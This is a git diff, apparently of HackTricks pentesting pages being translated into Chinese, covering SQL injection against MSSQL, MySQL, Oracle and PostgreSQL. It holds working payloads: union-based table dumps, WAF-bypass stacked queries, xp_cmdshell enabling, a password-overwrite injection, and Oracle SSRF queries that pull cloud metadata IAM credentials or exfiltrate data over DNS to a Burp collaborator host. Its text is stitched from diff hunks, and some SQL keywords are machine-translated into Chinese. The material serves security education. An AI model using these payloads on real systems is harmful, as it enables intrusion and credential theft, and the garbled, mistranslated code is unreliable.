A concise method for extracting the full content of a table in a single query involves utilizing the `FOR JSON` clause. This approach is more succinct than using the `FOR XML` clause, which requires a specific mode like "raw". The `FOR JSON` clause is preferred for its brevity.
Here's how to retrieve the schema, tables, and columns from the current database:
提取表的完整内容的简洁方法涉及使用 `FOR JSON` 子句。与需要特定模式如“raw”的 `FOR XML` 子句相比,这种方法更简洁。由于其简洁性,`FOR JSON` 子句更受欢迎。
以下是如何从当前数据库检索模式、表和列:
````sql
https://vuln.app/getItem?id=-1'+union+select+null,concat_ws(0x3a,table_schema,table_name,column_name),null+from+information_schema.columns+for+json+auto--
In situations where error-based vectors are used, it's crucial to provide an alias or a name. This is because the output of expressions, if not provided with either, cannot be formatted as JSON. Here's an example of how this is done:
@ -228,37 +209,37 @@ SELECT 'a' SELECT 'b'
So for example, multiple queries such as:
```sql
use [tempdb]
create table [test] ([id] int)
insert [test] values(1)
select [id] from [test]
drop table[test]
使用 [tempdb]
创建表 [test] ([id] int)
插入 [test] 值(1)
选择 [id] 从 [test]
删除表 [test]
```
Can be reduced to:
```sql
use[tempdb]create/**/table[test]([id]int)insert[test]values(1)select[id]from[test]drop/**/table[test]
使用[tempdb]创建/**/表[test]([id]int)插入[test]值(1)选择[id]从[test]删除/**/表[test]
```
Therefore it could be possible to bypass different WAFs that doesn't consider this form of stacking queries. For example:
```
# Adding a useless exec() at the end and making the WAF think this isn't a valid querie
# 在末尾添加一个无用的 exec() 并让 WAF 认为这不是一个有效的查询
admina'union select 1,'admin','testtest123'exec('select 1')--
## This will be:
## 这将是:
SELECT id, username, password FROM users WHERE username = 'admina'union select 1,'admin','testtest123'
exec('select 1')--'
# Using weirdly built queries
# 使用奇怪构建的查询
admin'exec('update[users]set[password]=''a''')--
## This will be:
## 这将是:
SELECT id, username, password FROM users WHERE username = 'admin'
exec('update[users]set[password]=''a''')--'
# Or enabling xp_cmdshell
# 或者启用 xp_cmdshell
admin'exec('sp_configure''show advanced option'',''1''reconfigure')exec('sp_configure''xp_cmdshell'',''1''reconfigure')--
## This will be
## 这将是
select * from users where username = ' admin'
exec('sp_configure''show advanced option'',''1''reconfigure')
exec('sp_configure''xp_cmdshell'',''1''reconfigure')--
@ -270,4 +251,3 @@ exec('sp_configure''xp_cmdshell'',''1''reconfigure')--
- [https://www.gosecure.net/blog/2023/06/21/aws-waf-clients-left-vulnerable-to-sql-injection-due-to-unorthodox-mssql-design-choice/](https://www.gosecure.net/blog/2023/06/21/aws-waf-clients-left-vulnerable-to-sql-injection-due-to-unorthodox-mssql-design-choice/)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,15 +1,14 @@
# MySQL injection
# MySQL 注入
{{#include ../../../banners/hacktricks-training.md}}
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&#x26;token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
[**RootedCON**](https://www.rootedcon.com/) is the most relevant cybersecurity event in **Spain** and one of the most important in **Europe**. With **the mission of promoting technical knowledge**, this congress is a boiling meeting point for technology and cybersecurity professionals in every discipline.
[**RootedCON**](https://www.rootedcon.com/) **西班牙** 最相关的网络安全事件,也是 **欧洲** 最重要的活动之一。该大会 **旨在促进技术知识**,是各个学科技术和网络安全专业人士的热烈交流平台。
{% embed url="https://www.rootedcon.com/" %}
## Comments
## 评论
```sql
-- MYSQL Comment
# MYSQL Comment
@ -17,11 +16,9 @@
/*! MYSQL Special SQL */
/*!32302 10*/ Comment for MySQL version 3.23.02
```
## 有趣的函数
## Interesting Functions
### Confirm Mysql:
### 确认 Mysql
```
concat('a','b')
database()
@ -35,9 +32,7 @@ floor(2.9)
length(1)
count(1)
```
### Useful functions
### 有用的函数
```sql
SELECT hex(database())
SELECT conv(hex(database()),16,10) # Hexadecimal -> Decimal
@ -53,37 +48,30 @@ SELECT group_concat(if(strcmp(table_schema,database()),table_name,null))
SELECT group_concat(CASE(table_schema)When(database())Then(table_name)END)
strcmp(),mid(),,ldap(),rdap(),left(),rigth(),instr(),sleep()
```
## All injection
## 所有注入
```sql
SELECT * FROM some_table WHERE double_quotes = "IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1))/*'XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR'|"XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR"*/"
```
## 流程
from [https://labs.detectify.com/2013/05/29/the-ultimate-sql-injection-payload/](https://labs.detectify.com/2013/05/29/the-ultimate-sql-injection-payload/)
## Flow
Remember that in "modern" versions of **MySQL** you can substitute "_**information_schema.tables**_" for "_**mysql.innodb_table_stats**_**"** (This could be useful to bypass WAFs).
请记住,在“现代”版本的 **MySQL** 中,您可以将 "_**information_schema.tables**_" 替换为 "_**mysql.innodb_table_stats**_**"**(这可能有助于绕过 WAF
```sql
SELECT table_name FROM information_schema.tables WHERE table_schema=database();#Get name of the tables
SELECT column_name FROM information_schema.columns WHERE table_name="<TABLE_NAME>"; #Get name of the columns of the table
SELECT <COLUMN1>,<COLUMN2> FROM <TABLE_NAME>; #Get values
SELECT user FROM mysql.user WHERE file_priv='Y'; #Users with file privileges
```
### **Only 1 value**
### **仅 1 个值**
- `group_concat()`
- `Limit X,1`
### **Blind one by one**
### **盲注逐个**
- `substr(version(),X,1)='r'` or `substring(version(),X,1)=0x70` or `ascii(substr(version(),X,1))=112`
- `substr(version(),X,1)='r'` `substring(version(),X,1)=0x70` `ascii(substr(version(),X,1))=112`
- `mid(version(),X,1)='5'`
### **Blind adding**
### **盲注添加**
- `LPAD(version(),1...lenght(version()),'1')='asd'...`
- `RPAD(version(),1...lenght(version()),'1')='asd'...`
@ -91,10 +79,9 @@ SELECT user FROM mysql.user WHERE file_priv='Y'; #Users with file privileges
- `SELECT LEFT(version(),1...lenght(version()))='asd'...`
- `SELECT INSTR('foobarbar', 'fo...')=1`
## Detect number of columns
Using a simple ORDER
## 检测列数
使用简单的 ORDER
```
order by 1
order by 2
@ -107,88 +94,74 @@ UniOn SeLect 1,2
UniOn SeLect 1,2,3
...
```
## MySQL Union Based
## MySQL 联合注入
```sql
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,schema_name,0x7c)+fRoM+information_schema.schemata
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,table_name,0x7C)+fRoM+information_schema.tables+wHeRe+table_schema=...
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,column_name,0x7C)+fRoM+information_schema.columns+wHeRe+table_name=...
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,data,0x7C)+fRoM+...
```
## SSRF
**Learn here different options to** [**abuse a Mysql injection to obtain a SSRF**](mysql-ssrf.md)**.**
**在这里了解不同的选项以** [**滥用 Mysql 注入来获取 SSRF**](mysql-ssrf.md)**。**
## WAF bypass tricks
## WAF 绕过技巧
### Executing queries through Prepared Statements
When stacked queries are allowed, it might be possible to bypass WAFs by assigning to a variable the hex representation of the query you want to execute (by using SET), and then use the PREPARE and EXECUTE MySQL statements to ultimately execute the query. Something like this:
### 通过预处理语句执行查询
当允许堆叠查询时,可以通过将要执行的查询的十六进制表示分配给变量(使用 SET然后使用 PREPARE 和 EXECUTE MySQL 语句最终执行查询,从而绕过 WAF。类似于这样
```
0); SET @query = 0x53454c45435420534c454550283129; PREPARE stmt FROM @query; EXECUTE stmt; #
```
有关更多信息,请参阅 [this blog post](https://karmainsecurity.com/impresscms-from-unauthenticated-sqli-to-rce)。
For more information please refer to [this blog post](https://karmainsecurity.com/impresscms-from-unauthenticated-sqli-to-rce).
### Information_schema 替代方案
### Information_schema alternatives
请记住,在 **MySQL** 的“现代”版本中,您可以将 _**information_schema.tables**_ 替换为 _**mysql.innodb_table_stats**_ 或 _**sys.x$schema_flattened_keys**_ 或 **sys.schema_table_statistics**
Remember that in "modern" versions of **MySQL** you can substitute _**information_schema.tables**_ for _**mysql.innodb_table_stats**_ or for _**sys.x$schema_flattened_keys**_ or for **sys.schema_table_statistics**
### MySQLinjection without COMMAS
Select 2 columns without using any comma ([https://security.stackexchange.com/questions/118332/how-make-sql-select-query-without-comma](https://security.stackexchange.com/questions/118332/how-make-sql-select-query-without-comma)):
### MySQL 注入无逗号
选择 2 列而不使用任何逗号 ([https://security.stackexchange.com/questions/118332/how-make-sql-select-query-without-comma](https://security.stackexchange.com/questions/118332/how-make-sql-select-query-without-comma)):
```
-1' union select * from (select 1)UT1 JOIN (SELECT table_name FROM mysql.innodb_table_stats)UT2 on 1=1#
```
### 检索没有列名的值
### Retrieving values without the column name
If at some point you know the name of the table but you don't know the name of the columns inside the table, you can try to find how may columns are there executing something like:
如果在某个时刻你知道表的名称,但不知道表内列的名称,你可以尝试执行类似以下的操作来查找有多少列:
```bash
# When a True is returned, you have found the number of columns
select (select "", "") = (SELECT * from demo limit 1); # 2columns
select (select "", "", "") < (SELECT * from demo limit 1); # 3columns
```
Supposing there is 2 columns (being the first one the ID) and the other one the flag, you can try to bruteforce the content of the flag trying character by character:
假设有两列第一列是ID第二列是flag你可以尝试逐个字符地暴力破解flag的内容
```bash
# When True, you found the correct char and can start ruteforcing the next position
select (select 1, 'flaf') = (SELECT * from demo limit 1);
```
更多信息请见 [https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952](https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952)
More info in [https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952](https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952)
### MySQL 历史
### MySQL history
You ca see other executions inside the MySQL reading the table: **sys.x$statement_analysis**
### Version alternative**s**
您可以通过读取表 **sys.x$statement_analysis** 查看其他执行情况。
### 版本替代**s**
```
mysql> select @@innodb_version;
mysql> select @@version;
mysql> select version();
```
## 其他MYSQL注入指南
## Other MYSQL injection guides
- [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md)
- [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md)]
## References
## 参考文献
- [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md)
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&#x26;token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
[**RootedCON**](https://www.rootedcon.com/) is the most relevant cybersecurity event in **Spain** and one of the most important in **Europe**. With **the mission of promoting technical knowledge**, this congress is a boiling meeting point for technology and cybersecurity professionals in every discipline.
[**RootedCON**](https://www.rootedcon.com/) **西班牙** 最相关的网络安全事件,也是 **欧洲** 最重要的活动之一。该大会 **旨在促进技术知识**,是各个学科技术和网络安全专业人士的热烈交流平台。
{% embed url="https://www.rootedcon.com/" %}
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -1,30 +1,29 @@
# MySQL File priv to SSRF/RCE
# MySQL 文件权限到 SSRF/RCE
{{#include ../../../banners/hacktricks-training.md}}
**This is a summary of the MySQL/MariaDB/Percona techniques from [https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/](https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/)**.
**这是来自 [https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/](https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/) 的 MySQL/MariaDB/Percona 技术摘要**。
### Server-Side Request Forgery (SSRF) via SQL Functions
### 通过 SQL 函数进行服务器端请求伪造 (SSRF)
In the exploration of SQL Out of Band data exfiltration, the `LOAD_FILE()` function is commonly employed to initiate network requests. This function, however, is constrained by the operating system it operates on and the database's startup configurations.
在 SQL 带外数据外泄的探索中,`LOAD_FILE()` 函数通常用于发起网络请求。然而,该函数受到其运行的操作系统和数据库启动配置的限制。
The `secure_file_priv` global variable, if unset, defaults to `/var/lib/mysql-files/`, limiting file access to this directory unless set to an empty string (`""`). This adjustment necessitates modifications in the database's configuration file or startup parameters.
`secure_file_priv` 全局变量如果未设置,默认为 `/var/lib/mysql-files/`,限制文件访问仅限于此目录,除非设置为空字符串 (`""`)。此调整需要修改数据库的配置文件或启动参数。
Given `secure_file_priv` is disabled (`""`), and assuming the necessary file and `file_priv` permissions are granted, files outside the designated directory can be read. Yet, the capability for these functions to make network calls is highly dependent on the operating system. On Windows systems, network calls to UNC paths are feasible due to the operating system's understanding of UNC naming conventions, potentially leading to the exfiltration of NTLMv2 hashes.
假设 `secure_file_priv` 被禁用 (`""`),并且授予了必要的文件和 `file_priv` 权限,则可以读取指定目录外的文件。然而,这些函数进行网络调用的能力高度依赖于操作系统。在 Windows 系统上,由于操作系统对 UNC 命名约定的理解,可以进行对 UNC 路径的网络调用,这可能导致 NTLMv2 哈希的外泄。
This SSRF method is limited to TCP port 445 and does not permit port number modification, though it can be used to access shares with full read privileges and, as demonstrated in prior research, to steal hashes for further exploitation.
此 SSRF 方法仅限于 TCP 端口 445并且不允许修改端口号尽管可以用于访问具有完全读取权限的共享并且如先前研究所示可以窃取哈希以进行进一步利用。
### Remote Code Execution (RCE) via User Defined Functions (UDF)
### 通过用户定义函数 (UDF) 进行远程代码执行 (RCE)
MySQL databases offer the use of User Defined Functions (UDF) from external library files. If these libraries are accessible within specific directories or the system's `$PATH`, they can be invoked from within MySQL.
MySQL 数据库提供了从外部库文件使用用户定义函数 (UDF) 的功能。如果这些库在特定目录或系统的 `$PATH` 中可访问,则可以从 MySQL 内部调用它们。
This technique allows for the execution of network/HTTP requests through a UDF, provided several conditions are met, including write access to the `@@plugin_dir`, `file_priv` set to `Y`, and `secure_file_priv` disabled.
该技术允许通过 UDF 执行网络/HTTP 请求,前提是满足几个条件,包括对 `@@plugin_dir` 的写入访问、`file_priv` 设置为 `Y`,以及禁用 `secure_file_priv`
For instance, the `lib_mysqludf_sys` library or other UDF libraries enabling HTTP requests can be loaded to perform SSRF. The libraries must be transferred to the server, which can be achieved through hex or base64 encoding of the library's contents and then writing it to the appropriate directory.
例如,可以加载 `lib_mysqludf_sys` 库或其他支持 HTTP 请求的 UDF 库以执行 SSRF。这些库必须传输到服务器可以通过对库内容进行十六进制或 base64 编码,然后写入适当的目录来实现。
The process varies if the `@@plugin_dir` is not writable, especially for MySQL versions above `v5.0.67`. In such cases, alternative paths that are writable must be used.
如果 `@@plugin_dir` 不可写,过程会有所不同,尤其是对于 `v5.0.67` 以上的 MySQL 版本。在这种情况下,必须使用可写的替代路径。
Automation of these processes can be facilitated by tools such as SQLMap, which supports UDF injection, and for blind SQL injections, output redirection or DNS request smuggling techniques may be utilized.
这些过程的自动化可以通过支持 UDF 注入的工具如 SQLMap 来实现,对于盲 SQL 注入,可以利用输出重定向或 DNS 请求走私技术。
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -2,29 +2,25 @@
{{#include ../../banners/hacktricks-training.md}}
**Serve this post a wayback machine copy of the deleted post from [https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/](https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/)**.
**为这篇文章提供一个来自 [https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/](https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/) 的已删除帖子在时间机器上的副本**。
## SSRF
Using Oracle to do Out of Band HTTP and DNS requests is well documented but as a means of exfiltrating SQL data in injections. We can always modify these techniques/functions to do other SSRF/XSPA.
使用 Oracle 进行带外 HTTP 和 DNS 请求的文档非常丰富,但作为在注入中提取 SQL 数据的一种手段。我们总是可以修改这些技术/函数以执行其他 SSRF/XSPA。
Installing Oracle can be really painful, especially if you want to set up a quick instance to try out commands. My friend and colleague at [Appsecco](https://appsecco.com), [Abhisek Datta](https://github.com/abhisek), pointed me to [https://github.com/MaksymBilenko/docker-oracle-12c](https://github.com/MaksymBilenko/docker-oracle-12c) that allowed me to setup an instance on a t2.large AWS Ubuntu machine and Docker.
I ran the docker command with the `--network="host"` flag so that I could mimic Oracle as an native install with full network access, for the course of this blogpost.
安装 Oracle 可能非常麻烦,特别是如果你想快速设置一个实例来尝试命令。我的朋友和同事在 [Appsecco](https://appsecco.com) [Abhisek Datta](https://github.com/abhisek),指引我到 [https://github.com/MaksymBilenko/docker-oracle-12c](https://github.com/MaksymBilenko/docker-oracle-12c),这让我能够在 t2.large AWS Ubuntu 机器和 Docker 上设置一个实例。
我使用 `--network="host"` 标志运行 docker 命令,以便在这篇博客文章的过程中模拟 Oracle 作为一个具有完全网络访问权限的本地安装。
```
docker run -d --network="host" quay.io/maksymbilenko/oracle-12c
```
#### 支持 URL 或主机/端口号规范的 Oracle 包 <a href="#oracle-packages-that-support-a-url-or-a-hostname-port-number-specification" id="oracle-packages-that-support-a-url-or-a-hostname-port-number-specification"></a>
#### Oracle packages that support a URL or a Hostname/Port Number specification <a href="#oracle-packages-that-support-a-url-or-a-hostname-port-number-specification" id="oracle-packages-that-support-a-url-or-a-hostname-port-number-specification"></a>
In order to find any packages and functions that support a host and port specification, I ran a Google search on the [Oracle Database Online Documentation](https://docs.oracle.com/database/121/index.html). Specifically,
为了找到支持主机和端口规范的任何包和函数,我在 [Oracle Database Online Documentation](https://docs.oracle.com/database/121/index.html) 上进行了 Google 搜索。具体来说,
```
site:docs.oracle.com inurl:"/database/121/ARPLS" "host"|"hostname" "port"|"portnum"
```
The search returned the following results (not all can be used to perform outbound network)
搜索返回了以下结果(并非所有结果都可以用于执行出站网络)
- DBMS_NETWORK_ACL_ADMIN
- UTL_SMTP
@ -41,39 +37,34 @@ The search returned the following results (not all can be used to perform outbou
- DBMS_STREAMS_ADM
- UTL_HTTP
This crude search obviously skips packages like `DBMS_LDAP` (which allows passing a hostname and port number) as [the documentation page](https://docs.oracle.com/database/121/ARPLS/d_ldap.htm#ARPLS360) simply points you to a [different location](https://docs.oracle.com/database/121/ARPLS/d_ldap.htm#ARPLS360). Hence, there may be other Oracle packages that can be abused to make outbound requests that I may have missed.
这个粗略的搜索显然跳过了像 `DBMS_LDAP` 这样的包(它允许传递主机名和端口号),因为 [文档页面](https://docs.oracle.com/database/121/ARPLS/d_ldap.htm#ARPLS360) 只是将您指向 [不同的位置](https://docs.oracle.com/database/121/ARPLS/d_ldap.htm#ARPLS360)。因此可能还有其他可以被滥用以发起出站请求的Oracle包我可能遗漏了。
In any case, lets take a look at some of the packages that we have discovered and listed above.
无论如何,让我们看看我们发现并列出的某些包。
**DBMS_LDAP.INIT**
The `DBMS_LDAP` package allows for access of data from LDAP servers. The `init()` function initializes a session with an LDAP server and takes a hostname and port number as an argument.
This function has been documented before to show exfiltration of data over DNS, like below
`DBMS_LDAP` 包允许访问来自LDAP服务器的数据。`init()` 函数初始化与LDAP服务器的会话并将主机名和端口号作为参数。
这个函数之前已经被记录下来以显示通过DNS的数据外泄如下所示。
```
SELECT DBMS_LDAP.INIT((SELECT version FROM v$instance)||'.'||(SELECT user FROM dual)||'.'||(select name from V$database)||'.'||'d4iqio0n80d5j4yg7mpu6oeif9l09p.burpcollaborator.net',80) FROM dual;
```
然而,由于该函数接受主机名和端口号作为参数,您可以利用这一点使其像端口扫描器一样工作。
However, given that the function accepts a hostname and a port number as arguments, you can use this to work like a port scanner as well.
Here are a few examples
以下是一些示例
```
SELECT DBMS_LDAP.INIT('scanme.nmap.org',22) FROM dual;
SELECT DBMS_LDAP.INIT('scanme.nmap.org',25) FROM dual;
SELECT DBMS_LDAP.INIT('scanme.nmap.org',80) FROM dual;
SELECT DBMS_LDAP.INIT('scanme.nmap.org',8080) FROM dual;
```
A `ORA-31203: DBMS_LDAP: PL/SQL - Init Failed.` shows that the port is closed while a session value points to the port being open.
`ORA-31203: DBMS_LDAP: PL/SQL - Init Failed.` 表示端口关闭,而会话值指向端口为开放状态。
**UTL_SMTP**
The `UTL_SMTP` package is designed for sending e-mails over SMTP. The example provided on the [Oracle documentation site shows how you can use this package to send an email](https://docs.oracle.com/database/121/ARPLS/u_smtp.htm#ARPLS71478). For us, however, the interesting thing is with the ability to provide a host and port specification.
A crude example is shown below with the `UTL_SMTP.OPEN_CONNECTION` function, with a timeout of 2 seconds
`UTL_SMTP` 包用于通过 SMTP 发送电子邮件。 [Oracle 文档网站上提供的示例展示了如何使用此包发送电子邮件](https://docs.oracle.com/database/121/ARPLS/u_smtp.htm#ARPLS71478)。 然而,对我们来说,值得关注的是提供主机和端口规范的能力。
下面是一个粗略的示例,使用 `UTL_SMTP.OPEN_CONNECTION` 函数,超时为 2 秒。
```
DECLARE c utl_smtp.connection;
BEGIN
@ -87,76 +78,68 @@ BEGIN
c := UTL_SMTP.OPEN_CONNECTION('scanme.nmap.org',8080,2);
END;
```
A `ORA-29276: transfer timeout` shows port is open but no SMTP connection was estabilished while a `ORA-29278: SMTP transient error: 421 Service not available` shows that the port is closed.
`ORA-29276: transfer timeout` 表示端口开放但未建立 SMTP 连接,而 `ORA-29278: SMTP transient error: 421 Service not available` 表示端口关闭。
**UTL_TCP**
The `UTL_TCP` package and its procedures and functions allow [TCP/IP based communication with services](https://docs.oracle.com/cd/B28359_01/appdev.111/b28419/u_tcp.htm#i1004190). If programmed for a specific service, this package can easily become a way into the network or perform full Server Side Requests as all aspects of a TCP/IP connection can be controlled.
The example [on the Oracle documentation site shows how you can use this package to make a raw TCP connection to fetch a web page](https://docs.oracle.com/cd/B28359_01/appdev.111/b28419/u_tcp.htm#i1004190). We can simply it a little more and use it to make requests to the metadata instance for example or to an arbitrary TCP/IP service.
`UTL_TCP` 包及其过程和函数允许与服务进行 [基于 TCP/IP 的通信](https://docs.oracle.com/cd/B28359_01/appdev.111/b28419/u_tcp.htm#i1004190)。如果为特定服务编程,此包可以轻松成为进入网络的途径或执行完整的服务器端请求,因为可以控制 TCP/IP 连接的所有方面。
示例 [在 Oracle 文档网站上显示了如何使用此包建立原始 TCP 连接以获取网页](https://docs.oracle.com/cd/B28359_01/appdev.111/b28419/u_tcp.htm#i1004190)。我们可以稍微简化一下,使用它向元数据实例或任意 TCP/IP 服务发出请求。
```
set serveroutput on size 30000;
SET SERVEROUTPUT ON
DECLARE c utl_tcp.connection;
retval pls_integer;
retval pls_integer;
BEGIN
c := utl_tcp.open_connection('169.254.169.254',80,tx_timeout => 2);
retval := utl_tcp.write_line(c, 'GET /latest/meta-data/ HTTP/1.0');
retval := utl_tcp.write_line(c);
BEGIN
LOOP
dbms_output.put_line(utl_tcp.get_line(c, TRUE));
END LOOP;
EXCEPTION
WHEN utl_tcp.end_of_input THEN
NULL;
END;
utl_tcp.close_connection(c);
c := utl_tcp.open_connection('169.254.169.254',80,tx_timeout => 2);
retval := utl_tcp.write_line(c, 'GET /latest/meta-data/ HTTP/1.0');
retval := utl_tcp.write_line(c);
BEGIN
LOOP
dbms_output.put_line(utl_tcp.get_line(c, TRUE));
END LOOP;
EXCEPTION
WHEN utl_tcp.end_of_input THEN
NULL;
END;
utl_tcp.close_connection(c);
END;
/
```
```
DECLARE c utl_tcp.connection;
retval pls_integer;
retval pls_integer;
BEGIN
c := utl_tcp.open_connection('scanme.nmap.org',22,tx_timeout => 4);
retval := utl_tcp.write_line(c);
BEGIN
LOOP
dbms_output.put_line(utl_tcp.get_line(c, TRUE));
END LOOP;
EXCEPTION
WHEN utl_tcp.end_of_input THEN
NULL;
END;
utl_tcp.close_connection(c);
c := utl_tcp.open_connection('scanme.nmap.org',22,tx_timeout => 4);
retval := utl_tcp.write_line(c);
BEGIN
LOOP
dbms_output.put_line(utl_tcp.get_line(c, TRUE));
END LOOP;
EXCEPTION
WHEN utl_tcp.end_of_input THEN
NULL;
END;
utl_tcp.close_connection(c);
END;
```
有趣的是,由于能够构造原始 TCP 请求,这个包也可以用于查询所有云提供商的实例元数据服务,因为方法类型和附加头都可以在 TCP 请求中传递。
Interestingly, due to the ability to craft raw TCP requests, this package can also be used to query the Instance meta-data service of all cloud providers as the method type and additional headers can all be passed within the TCP request.
**UTL_HTTP and Web Requests**
Perhaps the most common and widely documented technique in every Out of Band Oracle SQL Injection tutorial out there is the [`UTL_HTTP` package](https://docs.oracle.com/database/121/ARPLS/u_http.htm#ARPLS070). This package is defined by the documentation as - `The UTL_HTTP package makes Hypertext Transfer Protocol (HTTP) callouts from SQL and PL/SQL. You can use it to access data on the Internet over HTTP.`
**UTL_HTTP 和 Web 请求**
也许在所有的离带 Oracle SQL 注入教程中,最常见和广泛记录的技术是 [`UTL_HTTP` package](https://docs.oracle.com/database/121/ARPLS/u_http.htm#ARPLS070)。文档中将这个包定义为 - `UTL_HTTP 包从 SQL 和 PL/SQL 发起超文本传输协议 (HTTP) 调用。您可以使用它通过 HTTP 访问互联网上的数据。`
```
select UTL_HTTP.request('http://169.254.169.254/latest/meta-data/iam/security-credentials/adminrole') from dual;
```
You could additionally, use this to perform some rudimentary port scanning as well with queries like
您还可以使用此功能执行一些基本的端口扫描,例如使用以下查询:
```
select UTL_HTTP.request('http://scanme.nmap.org:22') from dual;
select UTL_HTTP.request('http://scanme.nmap.org:8080') from dual;
select UTL_HTTP.request('http://scanme.nmap.org:25') from dual;
```
`ORA-12541: TNS:no listener``TNS:operation timed out` 是 TCP 端口关闭的迹象,而 `ORA-29263: HTTP protocol error` 或数据则是端口开放的迹象。
A `ORA-12541: TNS:no listener` or a `TNS:operation timed out` is a sign that the TCP port is closed, whereas a `ORA-29263: HTTP protocol error` or data is a sign that the port is open.
Another package I have used in the past with varied success is the [`GETCLOB()` method of the `HTTPURITYPE` Oracle abstract type](https://docs.oracle.com/database/121/ARPLS/t_dburi.htm#ARPLS71705) that allows you to interact with a URL and provides support for the HTTP protocol. The `GETCLOB()` method is used to fetch the GET response from a URL as a [CLOB data type.](https://docs.oracle.com/javadb/10.10.1.2/ref/rrefclob.html)[select HTTPURITYPE('http://169.254.169.254/latest/meta-data/instance-id').getclob() from dual;
我过去使用过的另一个包,成功率各异,是 [`GETCLOB()` 方法的 `HTTPURITYPE` Oracle 抽象类型](https://docs.oracle.com/database/121/ARPLS/t_dburi.htm#ARPLS71705),它允许您与 URL 交互并支持 HTTP 协议。`GETCLOB()` 方法用于从 URL 获取 GET 响应,作为 [CLOB 数据类型。](https://docs.oracle.com/javadb/10.10.1.2/ref/rrefclob.html)[select HTTPURITYPE('http://169.254.169.254/latest/meta-data/instance-id').getclob() from dual;
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,71 +1,64 @@
# PostgreSQL injection
# PostgreSQL 注入
{{#include ../../../banners/hacktricks-training.md}}
<figure><img src="../../../images/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
如果你对 **黑客职业** 感兴趣并想要攻克不可攻克的目标 - **我们正在招聘!** (_需要流利的波兰语书写和口语能力_).
{% embed url="https://www.stmcyber.com/careers" %}
---
**This page aims to explain different tricks that could help you to exploit a SQLinjection found in a postgresql database and to compliment the tricks you can find on** [**https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md)
**本页面旨在解释不同的技巧,这些技巧可以帮助你利用在 PostgreSQL 数据库中发现的 SQL 注入,并补充你可以在** [**https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md) **上找到的技巧。**
## Network Interaction - Privilege Escalation, Port Scanner, NTLM challenge response disclosure & Exfiltration
## 网络交互 - 权限提升、端口扫描、NTLM 挑战响应泄露与数据外泄
The **PostgreSQL module `dblink`** offers capabilities for connecting to other PostgreSQL instances and executing TCP connections. These features, combined with the `COPY FROM` functionality, enable actions like privilege escalation, port scanning, and NTLM challenge response capture. For detailed methods on executing these attacks check how to [perform these attacks](network-privesc-port-scanner-and-ntlm-chanllenge-response-disclosure.md).
**PostgreSQL 模块 `dblink`** 提供了连接到其他 PostgreSQL 实例和执行 TCP 连接的能力。这些功能与 `COPY FROM` 功能相结合,使得权限提升、端口扫描和 NTLM 挑战响应捕获等操作成为可能。有关执行这些攻击的详细方法,请查看如何 [执行这些攻击](network-privesc-port-scanner-and-ntlm-chanllenge-response-disclosure.md)。
### **Exfiltration example using dblink and large objects**
### **使用 dblink 和大对象的数据外泄示例**
You can [**read this example**](dblink-lo_import-data-exfiltration.md) to see a CTF example of **how to load data inside large objects and then exfiltrate the content of large objects inside the username** of the function `dblink_connect`.
你可以 [**阅读这个示例**](dblink-lo_import-data-exfiltration.md) 来查看一个 CTF 示例,**如何将数据加载到大对象中,然后在函数 `dblink_connect` 的用户名中外泄大对象的内容。**
